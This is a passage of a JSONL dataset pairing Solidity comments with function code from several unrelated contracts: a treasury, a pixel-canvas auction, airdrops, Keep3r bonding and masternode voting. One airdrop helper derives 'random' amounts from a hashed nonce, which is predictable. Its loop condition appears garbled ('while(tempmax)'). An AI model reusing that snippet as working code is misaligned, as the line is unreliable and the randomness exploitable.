treasury RFV calculator\r\n\r\n uint value = treasury.valueOfToken( token, amount ); // treasury RFV calculator\r\n accountingFor( token, amount, value, true ); // account for deposit\r\n }", "version": "0.7.5"} {"comment": "/**\r\n * @notice adds asset and corresponding crvToken to mapping\r\n * @param token address\r\n * @param curveToken address\r\n */", "function_code": "function addToken( address token, address curveToken, uint max, uint pid ) external onlyPolicy() {\r\n require( token != address(0) );\r\n require( curveToken != address(0) );\r\n require( tokenInfo[ token ].deployed == 0 ); \r\n\r\n tokenInfo[ token ] = tokenData({\r\n underlying: token,\r\n curveToken: curveToken,\r\n deployed: 0,\r\n limit: max,\r\n newLimit: 0,\r\n limitChangeTimelockEnd: 0\r\n });\r\n\r\n pidForReserve[ token ] = pid;\r\n }", "version": "0.7.5"} {"comment": "/**\r\n * @notice lowers max can be deployed for asset (no timelock)\r\n * @param token address\r\n * @param newMax uint\r\n */", "function_code": "function lowerLimit( address token, uint newMax ) external onlyPolicy() {\r\n require( newMax < tokenInfo[ token ].limit );\r\n require( newMax > tokenInfo[ token ].deployed ); // cannot set limit below what has been deployed already\r\n tokenInfo[ token ].limit = newMax;\r\n }", "version": "0.7.5"} {"comment": "/**\r\n * @notice changes max allocation for asset when timelock elapsed\r\n * @param token address\r\n */", "function_code": "function raiseLimit( address token ) external onlyPolicy() {\r\n require( block.number >= tokenInfo[ token ].limitChangeTimelockEnd, \"Timelock not expired\" );\r\n require( tokenInfo[ token ].limitChangeTimelockEnd != 0, \"Timelock not started\" );\r\n\r\n tokenInfo[ token ].limit = tokenInfo[ token ].newLimit;\r\n tokenInfo[ token ].newLimit = 0;\r\n tokenInfo[ token ].limitChangeTimelockEnd = 0;\r\n }", "version": "0.7.5"} {"comment": "/**\r\n * @notice accounting of deposits/withdrawals of assets\r\n * @param token address\r\n * @param amount uint\r\n * @param value uint\r\n * @param add bool\r\n */", "function_code": "function accountingFor( address token, uint amount, uint value, bool add ) internal {\r\n if( add ) {\r\n tokenInfo[ token ].deployed = tokenInfo[ token ].deployed.add( amount ); // track amount allocated into pool\r\n \r\n totalValueDeployed = totalValueDeployed.add( value ); // track total value allocated into pools\r\n \r\n } else {\r\n // track amount allocated into pool\r\n if ( amount < tokenInfo[ token ].deployed ) {\r\n tokenInfo[ token ].deployed = tokenInfo[ token ].deployed.sub( amount ); \r\n } else {\r\n tokenInfo[ token ].deployed = 0;\r\n }\r\n \r\n // track total value allocated into pools\r\n if ( value < totalValueDeployed ) {\r\n totalValueDeployed = totalValueDeployed.sub( value );\r\n } else {\r\n totalValueDeployed = 0;\r\n }\r\n }\r\n }", "version": "0.7.5"} {"comment": "/**\r\n * @notice checks to ensure deposit does not exceed max allocation for asset\r\n * @param token address\r\n * @param amount uint\r\n */", "function_code": "function exceedsLimit( address token, uint amount ) public view returns ( bool ) {\r\n uint willBeDeployed = tokenInfo[ token ].deployed.add( amount );\r\n\r\n return ( willBeDeployed > tokenInfo[ token ].limit );\r\n }", "version": "0.7.5"} {"comment": "/// @dev Repays the debt and takes collateral for owner.", "function_code": "function repay(\n uint _pid,\n address _underlying,\n address _collateral,\n uint _amountRepay,\n uint _amountTake\n ) external payable onlyEOA {\n _amountRepay = _capRepay(msg.sender, _pid, _amountRepay);\n _transferIn(_underlying, msg.sender, _amountRepay);\n _repay(msg.sender, _pid, _underlying, _collateral, _amountRepay, _amountTake);\n _transferOut(_collateral, msg.sender, _amountTake);\n }", "version": "0.8.6"} {"comment": "/**\r\n * @notice Sets pixel. Given canvas can't be yet finished.\r\n */", "function_code": "function setPixel(uint32 _canvasId, uint32 _index, uint8 _color) external notFinished(_canvasId) validPixelIndex(_index) {\r\n require(_color > 0);\r\n\r\n Canvas storage canvas = _getCanvas(_canvasId);\r\n Pixel storage pixel = canvas.pixels[_index];\r\n\r\n // pixel always has a painter. If it's equal to address(0) it means \r\n // that pixel hasn't been set.\r\n if (pixel.painter == 0x0) {\r\n canvas.paintedPixelsCount++;\r\n } else {\r\n canvas.addressToCount[pixel.painter]--;\r\n }\r\n\r\n canvas.addressToCount[msg.sender]++;\r\n canvas.pixels[_index] = Pixel(_color, msg.sender);\r\n\r\n if (_isCanvasFinished(canvas)) {\r\n activeCanvasCount--;\r\n canvas.state = STATE_INITIAL_BIDDING;\r\n emit CanvasFinished(_canvasId);\r\n }\r\n\r\n emit PixelPainted(_canvasId, _index, _color, msg.sender);\r\n }", "version": "0.4.23"} {"comment": "/**\r\n * @notice Returns full bitmap for given canvas.\r\n */", "function_code": "function getCanvasBitmap(uint32 _canvasId) external view returns (uint8[]) {\r\n Canvas storage canvas = _getCanvas(_canvasId);\r\n uint8[] memory result = new uint8[](PIXEL_COUNT);\r\n\r\n for (uint32 i = 0; i < PIXEL_COUNT; i++) {\r\n result[i] = canvas.pixels[i].color;\r\n }\r\n\r\n return result;\r\n }", "version": "0.4.23"} {"comment": "/**\r\n * Places bid for canvas that is in the state STATE_INITIAL_BIDDING.\r\n * If somebody is outbid his pending withdrawals will be to topped up.\r\n */", "function_code": "function makeBid(uint32 _canvasId) external payable stateBidding(_canvasId) {\r\n Canvas storage canvas = _getCanvas(_canvasId);\r\n Bid storage oldBid = bids[_canvasId];\r\n\r\n if (msg.value < minimumBidAmount || msg.value <= oldBid.amount) {\r\n revert();\r\n }\r\n\r\n if (oldBid.bidder != 0x0 && oldBid.amount > 0) {\r\n //return old bidder his money\r\n addPendingWithdrawal(oldBid.bidder, oldBid.amount);\r\n }\r\n\r\n uint finishTime = canvas.initialBiddingFinishTime;\r\n if (finishTime == 0) {\r\n canvas.initialBiddingFinishTime = getTime() + BIDDING_DURATION;\r\n }\r\n\r\n bids[_canvasId] = Bid(msg.sender, msg.value);\r\n\r\n if (canvas.owner != 0x0) {\r\n addressToCount[canvas.owner]--;\r\n }\r\n canvas.owner = msg.sender;\r\n addressToCount[msg.sender]++;\r\n\r\n emit BidPosted(_canvasId, msg.sender, msg.value, canvas.initialBiddingFinishTime);\r\n }", "version": "0.4.23"} {"comment": "/**\r\n * @notice Returns last bid for canvas. If the initial bidding has been\r\n * already finished that will be winning offer.\r\n */", "function_code": "function getLastBidForCanvas(uint32 _canvasId) external view returns (uint32 canvasId, address bidder, uint amount, uint finishTime) {\r\n Bid storage bid = bids[_canvasId];\r\n Canvas storage canvas = _getCanvas(_canvasId);\r\n\r\n return (_canvasId, bid.bidder, bid.amount, canvas.initialBiddingFinishTime);\r\n }", "version": "0.4.23"} {"comment": "/**\r\n * @notice Returns current canvas state.\r\n */", "function_code": "function getCanvasState(uint32 _canvasId) public view returns (uint8) {\r\n Canvas storage canvas = _getCanvas(_canvasId);\r\n if (canvas.state != STATE_INITIAL_BIDDING) {\r\n //if state is set to owned, or not finished\r\n //it means it doesn't depend on current time -\r\n //we don't have to double check\r\n return canvas.state;\r\n }\r\n\r\n //state initial bidding - as that state depends on\r\n //current time, we have to double check if initial bidding\r\n //hasn't finish yet\r\n uint finishTime = canvas.initialBiddingFinishTime;\r\n if (finishTime == 0 || finishTime > getTime()) {\r\n return STATE_INITIAL_BIDDING;\r\n\r\n } else {\r\n return STATE_OWNED;\r\n }\r\n }", "version": "0.4.23"} {"comment": "/**\r\n * @notice Returns all canvas' id for a given state.\r\n */", "function_code": "function getCanvasByState(uint8 _state) external view returns (uint32[]) {\r\n uint size;\r\n if (_state == STATE_NOT_FINISHED) {\r\n size = activeCanvasCount;\r\n } else {\r\n size = getCanvasCount() - activeCanvasCount;\r\n }\r\n\r\n uint32[] memory result = new uint32[](size);\r\n uint currentIndex = 0;\r\n\r\n for (uint32 i = 0; i < canvases.length; i++) {\r\n if (getCanvasState(i) == _state) {\r\n result[currentIndex] = i;\r\n currentIndex++;\r\n }\r\n }\r\n\r\n return _slice(result, 0, currentIndex);\r\n }", "version": "0.4.23"} {"comment": "/**\r\n * @notice Returns reward for painting pixels in wei. That reward is proportional\r\n * to number of set pixels. For example let's assume that the address has painted\r\n * 2048 pixels, which is 50% of all pixels. He will be rewarded\r\n * with 50% of winning bid minus fee.\r\n */", "function_code": "function calculateReward(uint32 _canvasId, address _address)\r\n public\r\n view\r\n stateOwned(_canvasId)\r\n returns (uint32 pixelsCount, uint reward, bool isPaid) {\r\n\r\n Bid storage bid = bids[_canvasId];\r\n Canvas storage canvas = _getCanvas(_canvasId);\r\n\r\n uint32 paintedPixels = getPaintedPixelsCountByAddress(_address, _canvasId);\r\n uint pricePerPixel = _calculatePricePerPixel(bid.amount);\r\n uint _reward = paintedPixels * pricePerPixel;\r\n\r\n return (paintedPixels, _reward, canvas.isAddressPaid[_address]);\r\n }", "version": "0.4.23"} {"comment": "/**\r\n * Withdraws reward for contributing in canvas. Calculating reward has to be triggered\r\n * and calculated per canvas. Because of that it is not enough to call function\r\n * withdraw(). Caller has to call addRewardToPendingWithdrawals() separately.\r\n */", "function_code": "function addRewardToPendingWithdrawals(uint32 _canvasId)\r\n external\r\n stateOwned(_canvasId)\r\n forceOwned(_canvasId) {\r\n Canvas storage canvas = _getCanvas(_canvasId);\r\n\r\n uint32 pixelCount;\r\n uint reward;\r\n bool isPaid;\r\n (pixelCount, reward, isPaid) = calculateReward(_canvasId, msg.sender);\r\n\r\n require(pixelCount > 0);\r\n require(reward > 0);\r\n require(!isPaid);\r\n\r\n canvas.isAddressPaid[msg.sender] = true;\r\n addPendingWithdrawal(msg.sender, reward);\r\n\r\n emit RewardAddedToWithdrawals(_canvasId, msg.sender, reward);\r\n }", "version": "0.4.23"} {"comment": "/**\r\n * @notice Only for the owner of the contract. Adds commission to the owner's\r\n * pending withdrawals.\r\n */", "function_code": "function addCommissionToPendingWithdrawals(uint32 _canvasId)\r\n external\r\n onlyOwner\r\n stateOwned(_canvasId)\r\n forceOwned(_canvasId) {\r\n\r\n Canvas storage canvas = _getCanvas(_canvasId);\r\n\r\n uint commission;\r\n bool isPaid;\r\n (commission, isPaid) = calculateCommission(_canvasId);\r\n\r\n require(commission > 0);\r\n require(!isPaid);\r\n\r\n canvas.isCommissionPaid = true;\r\n addPendingWithdrawal(owner, commission);\r\n\r\n emit CommissionAddedToWithdrawals(_canvasId, commission, ACTION_INITIAL_BIDDING);\r\n }", "version": "0.4.23"} {"comment": "/**\r\n * @dev Slices array from start (inclusive) to end (exclusive).\r\n * Doesn't modify input array.\r\n */", "function_code": "function _slice(uint32[] memory _array, uint _start, uint _end) internal pure returns (uint32[]) {\r\n require(_start <= _end);\r\n\r\n if (_start == 0 && _end == _array.length) {\r\n return _array;\r\n }\r\n\r\n uint size = _end - _start;\r\n uint32[] memory sliced = new uint32[](size);\r\n\r\n for (uint i = 0; i < size; i++) {\r\n sliced[i] = _array[i + _start];\r\n }\r\n\r\n return sliced;\r\n }", "version": "0.4.23"} {"comment": "/**\r\n * @notice Buy artwork. Artwork has to be put on sale. If buyer has bid before for\r\n * that artwork, that bid will be canceled.\r\n */", "function_code": "function acceptSellOffer(uint32 _canvasId)\r\n external\r\n payable\r\n stateOwned(_canvasId)\r\n forceOwned(_canvasId) {\r\n\r\n Canvas storage canvas = _getCanvas(_canvasId);\r\n SellOffer memory sellOffer = canvasForSale[_canvasId];\r\n\r\n require(msg.sender != canvas.owner);\r\n //don't sell for the owner\r\n require(sellOffer.isForSale);\r\n require(msg.value >= sellOffer.minPrice);\r\n require(sellOffer.seller == canvas.owner);\r\n //seller is no longer owner\r\n require(sellOffer.onlySellTo == 0x0 || sellOffer.onlySellTo == msg.sender);\r\n //protect from selling to unintended address\r\n\r\n uint fee = _calculateCommission(msg.value);\r\n uint toTransfer = msg.value - fee;\r\n\r\n addPendingWithdrawal(sellOffer.seller, toTransfer);\r\n addPendingWithdrawal(owner, fee);\r\n\r\n addressToCount[canvas.owner]--;\r\n addressToCount[msg.sender]++;\r\n\r\n canvas.owner = msg.sender;\r\n cancelSellOfferInternal(_canvasId, false);\r\n\r\n emit CanvasSold(_canvasId, msg.value, sellOffer.seller, msg.sender);\r\n emit CommissionAddedToWithdrawals(_canvasId, fee, ACTION_SELL_OFFER_ACCEPTED);\r\n\r\n //If the buyer have placed buy offer, refund it\r\n BuyOffer memory offer = buyOffers[_canvasId];\r\n if (offer.buyer == msg.sender) {\r\n buyOffers[_canvasId] = BuyOffer(false, 0x0, 0);\r\n if (offer.amount > 0) {\r\n //refund offer\r\n addPendingWithdrawal(offer.buyer, offer.amount);\r\n }\r\n }\r\n\r\n }", "version": "0.4.23"} {"comment": "/**\r\n * @notice Places buy offer for the canvas. It cannot be called by the owner of the canvas.\r\n * New offer has to be bigger than existing offer. Returns ethers to the previous\r\n * bidder, if any.\r\n */", "function_code": "function makeBuyOffer(uint32 _canvasId) external payable stateOwned(_canvasId) forceOwned(_canvasId) {\r\n Canvas storage canvas = _getCanvas(_canvasId);\r\n BuyOffer storage existing = buyOffers[_canvasId];\r\n\r\n require(canvas.owner != msg.sender);\r\n require(canvas.owner != 0x0);\r\n require(msg.value > existing.amount);\r\n\r\n if (existing.amount > 0) {\r\n //refund previous buy offer.\r\n addPendingWithdrawal(existing.buyer, existing.amount);\r\n }\r\n\r\n buyOffers[_canvasId] = BuyOffer(true, msg.sender, msg.value);\r\n emit BuyOfferMade(_canvasId, msg.sender, msg.value);\r\n }", "version": "0.4.23"} {"comment": "/**\r\n * @notice Cancels previously made buy offer. Caller has to be an author\r\n * of the offer.\r\n */", "function_code": "function cancelBuyOffer(uint32 _canvasId) external stateOwned(_canvasId) forceOwned(_canvasId) {\r\n BuyOffer memory offer = buyOffers[_canvasId];\r\n require(offer.buyer == msg.sender);\r\n\r\n buyOffers[_canvasId] = BuyOffer(false, 0x0, 0);\r\n if (offer.amount > 0) {\r\n //refund offer\r\n addPendingWithdrawal(offer.buyer, offer.amount);\r\n }\r\n\r\n emit BuyOfferCancelled(_canvasId, offer.buyer, offer.amount);\r\n }", "version": "0.4.23"} {"comment": "/**\r\n * @notice Accepts buy offer for the canvas. Caller has to be the owner\r\n * of the canvas. You can specify minimal price, which is the\r\n * protection against accidental calls.\r\n */", "function_code": "function acceptBuyOffer(uint32 _canvasId, uint _minPrice) external stateOwned(_canvasId) forceOwned(_canvasId) {\r\n Canvas storage canvas = _getCanvas(_canvasId);\r\n require(canvas.owner == msg.sender);\r\n\r\n BuyOffer memory offer = buyOffers[_canvasId];\r\n require(offer.hasOffer);\r\n require(offer.amount > 0);\r\n require(offer.buyer != 0x0);\r\n require(offer.amount >= _minPrice);\r\n\r\n uint fee = _calculateCommission(offer.amount);\r\n uint toTransfer = offer.amount - fee;\r\n\r\n addressToCount[canvas.owner]--;\r\n addressToCount[offer.buyer]++;\r\n\r\n canvas.owner = offer.buyer;\r\n addPendingWithdrawal(msg.sender, toTransfer);\r\n addPendingWithdrawal(owner, fee);\r\n\r\n buyOffers[_canvasId] = BuyOffer(false, 0x0, 0);\r\n canvasForSale[_canvasId] = SellOffer(false, 0x0, 0, 0x0);\r\n\r\n emit CanvasSold(_canvasId, offer.amount, msg.sender, offer.buyer);\r\n emit CommissionAddedToWithdrawals(_canvasId, fee, ACTION_BUY_OFFER_ACCEPTED);\r\n }", "version": "0.4.23"} {"comment": "/**\r\n * @notice Returns array of canvas's ids. Returned canvases have sell offer.\r\n * If includePrivateOffers is true, includes offers that are targeted\r\n * only to one specified address.\r\n */", "function_code": "function getCanvasesWithSellOffer(bool includePrivateOffers) external view returns (uint32[]) {\r\n uint32[] memory result = new uint32[](canvases.length);\r\n uint currentIndex = 0;\r\n\r\n for (uint32 i = 0; i < canvases.length; i++) {\r\n SellOffer storage offer = canvasForSale[i];\r\n if (offer.isForSale && (includePrivateOffers || offer.onlySellTo == 0x0)) {\r\n result[currentIndex] = i;\r\n currentIndex++;\r\n }\r\n }\r\n\r\n return _slice(result, 0, currentIndex);\r\n }", "version": "0.4.23"} {"comment": "/**\r\n * @notice Returns array of all the owners of all of pixels. If some pixel hasn't\r\n * been painted yet, 0x0 address will be returned.\r\n */", "function_code": "function getCanvasPainters(uint32 _canvasId) external view returns (address[]) {\r\n Canvas storage canvas = _getCanvas(_canvasId);\r\n address[] memory result = new address[](PIXEL_COUNT);\r\n\r\n for (uint32 i = 0; i < PIXEL_COUNT; i++) {\r\n result[i] = canvas.pixels[i].painter;\r\n }\r\n\r\n return result;\r\n }", "version": "0.4.23"} {"comment": "/// @dev References the WithdrawalInfo for how much the user is permitted to withdraw\n/// @dev Allows withdraw regardless of cycle\n/// @dev Decrements withheldLiquidity by the withdrawn amount", "function_code": "function withdraw(uint256 requestedAmount) external override whenNotPaused nonReentrant {\n require(\n requestedAmount <= requestedWithdrawals[msg.sender].amount,\n \"WITHDRAW_INSUFFICIENT_BALANCE\"\n );\n require(requestedAmount > 0, \"NO_WITHDRAWAL\");\n require(underlyer.balanceOf(address(this)) >= requestedAmount, \"INSUFFICIENT_POOL_BALANCE\");\n\n requestedWithdrawals[msg.sender].amount = requestedWithdrawals[msg.sender].amount.sub(\n requestedAmount\n );\n\n // If full amount withdrawn delete from mapping\n if (requestedWithdrawals[msg.sender].amount == 0) {\n delete requestedWithdrawals[msg.sender];\n }\n\n withheldLiquidity = withheldLiquidity.sub(requestedAmount);\n\n _burn(msg.sender, requestedAmount);\n underlyer.safeTransfer(msg.sender, requestedAmount);\n\n bytes32 eventSig = \"Withdraw\";\n encodeAndSendData(eventSig, msg.sender);\n }", "version": "0.6.11"} {"comment": "/// @dev Adjusts the withheldLiquidity as necessary\n/// @dev Updates the WithdrawalInfo for when a user can withdraw and for what requested amount", "function_code": "function requestWithdrawal(uint256 amount) external override {\n require(amount > 0, \"INVALID_AMOUNT\");\n require(amount <= balanceOf(msg.sender), \"INSUFFICIENT_BALANCE\");\n\n //adjust withheld liquidity by removing the original withheld amount and adding the new amount\n withheldLiquidity = withheldLiquidity.sub(requestedWithdrawals[msg.sender].amount).add(\n amount\n );\n requestedWithdrawals[msg.sender].amount = amount;\n requestedWithdrawals[msg.sender].minCycle = 0;\n\n bytes32 eventSig = \"Withdrawal Request\";\n encodeAndSendData(eventSig, msg.sender);\n\n emit WithdrawalRequested(msg.sender, amount);\n }", "version": "0.6.11"} {"comment": "/// @dev Adjust withheldLiquidity and requestedWithdrawal if sender does not have sufficient unlocked balance for the transfer", "function_code": "function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override whenNotPaused nonReentrant returns (bool) {\n preTransferAdjustWithheldLiquidity(sender, amount);\n bool success = super.transferFrom(sender, recipient, amount);\n\n bytes32 eventSig = \"Transfer\";\n encodeAndSendData(eventSig, sender);\n encodeAndSendData(eventSig, recipient);\n\n return success;\n }", "version": "0.6.11"} {"comment": "/**\r\n * Batch Token transfer (Airdrop) function || Every address gets unique amount\r\n */", "function_code": "function bulkDropAllUnique(address[] memory _addrs, uint256[] memory _amounts)onlyOwner public returns (uint256 sendTokensTotal){\r\n uint256 sum = 0;\r\n for(uint256 i = 0; i < _addrs.length; i++){\r\n transfer(_addrs[i], _amounts[i] * 10 ** uint256(decimals));\r\n sum += _amounts[i] * 10 ** uint256(decimals);\r\n }\r\n return sum;\r\n }", "version": "0.5.9"} {"comment": "/**\r\n * Batch Token transfer (Airdrop) function || All addresses get same amount\r\n */", "function_code": "function bulkDropAllSame(address[] memory _addrs, uint256 _amount)onlyOwner public returns (uint256 sendTokensTotal){\r\n uint256 sum = 0;\r\n for(uint256 i = 0; i < _addrs.length; i++){\r\n transfer(_addrs[i], _amount * 10 ** uint256(decimals));\r\n sum += _amount * 10 ** uint256(decimals);\r\n }\r\n return sum;\r\n }", "version": "0.5.9"} {"comment": "/**\r\n * Batch Token transfer (Airdrop) function || Every address gets random amount (min,max)\r\n */", "function_code": "function bulkDropAllRandom(address[] memory _addrs, uint256 minimum, uint256 maximum)onlyOwner public returns (uint256 sendTokensTotal){\r\n uint256 sum = 0;\r\n uint256 amount = 0;\r\n for(uint256 i = 0; i < _addrs.length; i++){\r\n amount = getRndInteger(minimum,maximum);\r\n transfer(_addrs[i], amount * 10 ** uint256(decimals));\r\n sum += amount * 10 ** uint256(decimals);\r\n }\r\n return sum;\r\n }", "version": "0.5.9"} {"comment": "// Random integer between min and max", "function_code": "function getRndInteger(uint256 min, uint256 max) internal returns (uint) {\r\n nonce += 1;\r\n uint temp = uint(keccak256(abi.encodePacked(nonce)));\r\n while(tempmax){\r\n temp = temp % max;\r\n if(temp>=min){return temp;}\r\n temp = temp + min;\r\n }\r\n return temp;\r\n }", "version": "0.5.9"} {"comment": "// Metadata", "function_code": "function tokenURI(uint256 _tokenId)\r\n public\r\n view\r\n virtual\r\n override\r\n returns (string memory)\r\n {\r\n require(_exists(_tokenId), \"ERC721Metadata: URI query nonexistent token\");\r\n \r\n string memory uri = _baseURI();\r\n return bytes(uri).length > 0\r\n ? string(abi.encodePacked(uri, _tokenId.toString(), \".json\"))\r\n : \"\";\r\n }", "version": "0.8.7"} {"comment": "/**\r\n * @notice Allows liquidity providers to submit jobs\r\n * @param amount the amount of tokens to mint to treasury\r\n * @param job the job to assign credit to\r\n * @param amount the amount of liquidity tokens to use\r\n */", "function_code": "function addLiquidityToJob(address liquidity, address job, uint amount) external {\r\n require(liquidityAccepted[liquidity], \"Keep3r::addLiquidityToJob: asset not accepted as liquidity\");\r\n UniswapPair(liquidity).transferFrom(msg.sender, address(this), amount);\r\n liquidityProvided[msg.sender][liquidity][job] = liquidityProvided[msg.sender][liquidity][job].add(amount);\r\n\r\n liquidityApplied[msg.sender][liquidity][job] = now.add(2 days);\r\n liquidityAmount[msg.sender][liquidity][job] = liquidityAmount[msg.sender][liquidity][job].add(amount);\r\n\r\n if (!jobs[job] && jobProposalDelay[job] < now) {\r\n Governance(governance).proposeJob(job);\r\n jobProposalDelay[job] = now.add(UNBOND);\r\n }\r\n emit SubmitJob(job, msg.sender, block.number, amount);\r\n }", "version": "0.6.6"} {"comment": "/**\r\n * @notice confirms if the current keeper is registered and has a minimum bond, should be used for protected functions\r\n * @return true/false if the address is a keeper and has more than the bond\r\n */", "function_code": "function isMinKeeper(address keeper, uint minBond, uint completed, uint age) external returns (bool) {\r\n gasUsed = gasleft();\r\n return keepers[keeper]\r\n && bonds[keeper] >= minBond\r\n && workCompleted[keeper] > completed\r\n && now.sub(firstSeen[keeper]) > age;\r\n }", "version": "0.6.6"} {"comment": "/**\r\n * @notice begin the bonding process for a new keeper\r\n */", "function_code": "function bond(uint amount) external {\r\n require(pendingbonds[msg.sender] == 0, \"Keep3r::bond: current pending bond\");\r\n require(!blacklist[msg.sender], \"Keep3r::bond: keeper is blacklisted\");\r\n bondings[msg.sender] = now.add(BOND);\r\n _transferTokens(msg.sender, address(this), amount);\r\n pendingbonds[msg.sender] = pendingbonds[msg.sender].add(amount);\r\n emit KeeperBonding(msg.sender, block.number, bondings[msg.sender], amount);\r\n }", "version": "0.6.6"} {"comment": "/**\r\n * @notice allows a keeper to activate/register themselves after bonding\r\n */", "function_code": "function activate() external {\r\n require(bondings[msg.sender] != 0, \"Keep3r::activate: bond first\");\r\n require(bondings[msg.sender] < now, \"Keep3r::activate: still bonding\");\r\n if (firstSeen[msg.sender] == 0) {\r\n firstSeen[msg.sender] = now;\r\n keeperList.push(msg.sender);\r\n lastJob[msg.sender] = now;\r\n }\r\n keepers[msg.sender] = true;\r\n totalBonded = totalBonded.add(pendingbonds[msg.sender]);\r\n bonds[msg.sender] = bonds[msg.sender].add(pendingbonds[msg.sender]);\r\n pendingbonds[msg.sender] = 0;\r\n emit KeeperBonded(msg.sender, block.number, block.timestamp, bonds[msg.sender]);\r\n }", "version": "0.6.6"} {"comment": "/**\r\n * @notice withdraw funds after unbonding has finished\r\n */", "function_code": "function withdraw() external {\r\n require(unbondings[msg.sender] != 0, \"Keep3r::withdraw: unbond first\");\r\n require(unbondings[msg.sender] < now, \"Keep3r::withdraw: still unbonding\");\r\n require(!disputes[msg.sender], \"Keep3r::withdraw: pending disputes\");\r\n\r\n _transferTokens(address(this), msg.sender, partialUnbonding[msg.sender]);\r\n emit KeeperUnbound(msg.sender, block.number, block.timestamp, partialUnbonding[msg.sender]);\r\n partialUnbonding[msg.sender] = 0;\r\n }", "version": "0.6.6"} {"comment": "/**\r\n * @notice slash a keeper for downtime\r\n * @param keeper the address being slashed\r\n */", "function_code": "function down(address keeper) external {\r\n require(keepers[msg.sender], \"Keep3r::down: not a keeper\");\r\n require(keepers[keeper], \"Keep3r::down: keeper not registered\");\r\n require(lastJob[keeper].add(DOWNTIME) < now, \"Keep3r::down: keeper safe\");\r\n uint _slash = bonds[keeper].mul(DOWNTIMESLASH).div(BASE);\r\n bonds[keeper] = bonds[keeper].sub(_slash);\r\n bonds[msg.sender] = bonds[msg.sender].add(_slash);\r\n _moveDelegates(delegates[msg.sender], msg.sender, _slash);\r\n lastJob[keeper] = now;\r\n lastJob[msg.sender] = now;\r\n emit KeeperSlashed(keeper, msg.sender, block.number, _slash);\r\n }", "version": "0.6.6"} {"comment": "/// @notice establish an interval if none exists", "function_code": "function ensureInterval() public notHalted {\n if (intervals[latest].end > block.number) return;\n\n Interval storage interval = intervals[latest];\n (uint feeEarned, uint ethEarned) = calculateIntervalEarning(interval.start, interval.end);\n interval.generatedFEE = feeEarned.plus(ethEarned.div(weiPerFEE));\n FEE2Distribute = FEE2Distribute.plus(interval.generatedFEE);\n if (ethEarned.div(weiPerFEE) > 0) FEE.sendTokens(address(this), ethEarned.div(weiPerFEE));\n emit FeeCalculated(interval.generatedFEE, feeEarned, ethEarned, interval.start, interval.end, latest);\n if (ethEarned > 0) address(wallet).transfer(ethEarned);\n\n uint diff = (block.number - intervals[latest].end) % intervalSize;\n latest += 1;\n intervals[latest].start = intervals[latest - 1].end;\n intervals[latest].end = block.number - diff + intervalSize;\n emit NewInterval(intervals[latest].start, intervals[latest].end, latest);\n }", "version": "0.5.3"} {"comment": "/**\r\n * @dev Create a new proposal.\r\n * @param _contract Proposal contract address\r\n * @return uint ProposalID\r\n */", "function_code": "function pushProposal(address _contract) onlyOwner public returns (uint) {\r\n if(proposalCounter != 0)\r\n require (pastProposalTimeRules (), \"You need to wait 90 days before submitting a new proposal.\");\r\n require (!proposalPending, \"Another proposal is pending.\");\r\n\r\n uint _contractType = IcaelumVoting(_contract).getContractType();\r\n proposalList[proposalCounter] = Proposals(_contract, 0, now, 0, VOTE_TYPE(_contractType));\r\n\r\n emit NewProposal(proposalCounter);\r\n \r\n proposalCounter++;\r\n proposalPending = true;\r\n\r\n return proposalCounter.sub(1);\r\n }", "version": "0.4.25"} {"comment": "/**\r\n * @dev Internal function that handles the proposal after it got accepted.\r\n * This function determines if the proposal is a token or team member proposal and executes the corresponding functions.\r\n * @return uint Returns the proposal ID.\r\n */", "function_code": "function handleLastProposal () internal returns (uint) {\r\n uint _ID = proposalCounter.sub(1);\r\n\r\n proposalList[_ID].acceptedOn = now;\r\n proposalPending = false;\r\n\r\n address _address;\r\n uint _required;\r\n uint _valid;\r\n uint _type;\r\n (_address, _required, _valid, _type) = getTokenProposalDetails(_ID);\r\n\r\n if(_type == uint(VOTE_TYPE.TOKEN)) {\r\n addToWhitelist(_address,_required,_valid);\r\n }\r\n\r\n if(_type == uint(VOTE_TYPE.TEAM)) {\r\n if(_required != 0) {\r\n for (uint i = 0; i < _required; i++) {\r\n addMasternode(_address);\r\n }\r\n } else {\r\n addMasternode(_address);\r\n }\r\n updateMasternodeAsTeamMember(_address);\r\n }\r\n \r\n emit ProposalAccepted(_ID);\r\n \r\n return _ID;\r\n }", "version": "0.4.25"} {"comment": "/**\r\n * @dev Checks if the last proposal allowed voting time has expired and it's not accepted.\r\n * @return bool\r\n */", "function_code": "function LastProposalCanDiscard () public view returns (bool) {\r\n \r\n uint daysBeforeDiscard = IcaelumVoting(proposalList[proposalCounter - 1].tokenContract).getExpiry();\r\n uint entryDate = proposalList[proposalCounter - 1].proposedOn;\r\n uint expiryDate = entryDate + (daysBeforeDiscard * 1 days);\r\n\r\n if (now >= expiryDate)\r\n return true;\r\n }", "version": "0.4.25"} {"comment": "/**\r\n * @dev Allow any masternode user to become a voter.\r\n */", "function_code": "function becomeVoter() public {\r\n require (isMasternodeOwner(msg.sender), \"User has no masternodes\");\r\n require (!voterMap[msg.sender].isVoter, \"User Already voted for this proposal\");\r\n\r\n voterMap[msg.sender].owner = msg.sender;\r\n voterMap[msg.sender].isVoter = true;\r\n votersCount = votersCount + 1;\r\n\r\n if (isTeamMember(msg.sender))\r\n votersCountTeam = votersCountTeam + 1;\r\n }", "version": "0.4.25"} {"comment": "/**\r\n * @dev Allow voters to submit their vote on a proposal. Voters can only cast 1 vote per proposal.\r\n * If the proposed vote is about adding Team members, only Team members are able to vote.\r\n * A proposal can only be published if the total of votes is greater then MINIMUM_VOTERS_NEEDED.\r\n * @param proposalID proposalID\r\n */", "function_code": "function voteProposal(uint proposalID) public returns (bool success) {\r\n require(voterMap[msg.sender].isVoter, \"Sender not listed as voter\");\r\n require(proposalID >= 0, \"No proposal was selected.\");\r\n require(proposalID <= proposalCounter, \"Proposal out of limits.\");\r\n require(voterProposals[proposalID] != msg.sender, \"Already voted.\");\r\n\r\n\r\n if(proposalList[proposalID].proposalType == VOTE_TYPE.TEAM) {\r\n require (isTeamMember(msg.sender), \"Restricted for team members\");\r\n voterProposals[proposalID] = msg.sender;\r\n proposalList[proposalID].totalVotes++;\r\n\r\n if(reachedMajorityForTeam(proposalID)) {\r\n // This is the prefered way of handling vote results. It costs more gas but prevents tampering.\r\n // If gas is an issue, you can comment handleLastProposal out and call it manually as onlyOwner.\r\n handleLastProposal();\r\n return true;\r\n }\r\n } else {\r\n require(votersCount >= MINIMUM_VOTERS_NEEDED, \"Not enough voters in existence to push a proposal\");\r\n voterProposals[proposalID] = msg.sender;\r\n proposalList[proposalID].totalVotes++;\r\n\r\n if(reachedMajority(proposalID)) {\r\n // This is the prefered way of 